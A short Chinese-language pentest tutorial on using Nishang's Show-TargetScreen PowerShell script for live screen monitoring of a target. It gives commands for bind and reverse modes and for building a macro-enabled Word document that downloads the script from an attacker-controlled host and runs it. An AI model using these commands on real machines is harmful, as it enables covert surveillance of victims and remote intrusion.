Nishang是基于PowerShell的渗透测试专用工具。集成了框架、脚本和各种payload。这些脚本是由Nishang的作者在真实渗透测试过程中有感而发编写的,具有实战价值。包括了下载和执行、键盘记录、dns、延时命令等脚本。今天要给大家介绍的是如何通过powershell对目标的屏幕进行实时监控。
脚本下载地址如下:
https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Show-TargetScreen.ps1
使用也很简单,脚本包括了reverse以及bind模式。下面是使用示例:
0x01 Bind模式:
PS C:\Users\evi1cg\Desktop> . .\Show-TargetScreen.ps1
PS C:\Users\evi1cg\Desktop> Show-TargetScreen -Bind -Port 3333
然后在自己的计算机上使用火狐访问目标3333端口,结果如下图:
0x02Reverse模式
attacker:
在这里可以使用创宇的py脚本转发:
https://github.com/knownsec/rtcp
执行:
rtcp [master] python rtcp.py l:5555 l:4444
监听本地5555端口以及4444端口。之后在target执行:
PS C:\Users\evi1cg\Desktop> . .\Show-TargetScreen.ps1
PS C:\Users\evi1cg\Desktop> Show-TargetScreen -Reverse-IPAddress 192.168.74.1 -Port 5555
效果截图:
以Out-Word.ps1作为演示示例:
生成word文件:
PS C:\Users\evi1cg\Desktop> . .\Out-Word.ps1
PS C:\Users\evi1cg\Desktop> Out-Word -PayloadURL"http://192.168.74.1/Show-TargetScreen.ps1" -Arguments"Show-TargetScreen -Reverse -IPAddress 192.168.74.1 -Port 6666"
之后将Show-TargetScreen.ps1放在我们的web根目录,测试:
开启监听:
rtcp [master] python rtcp.py l:6666 l:4444
当运行开启office宏的word时,我们就可对其屏幕进行监控,如下图:
本文分享自 Ms08067安全实验室 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!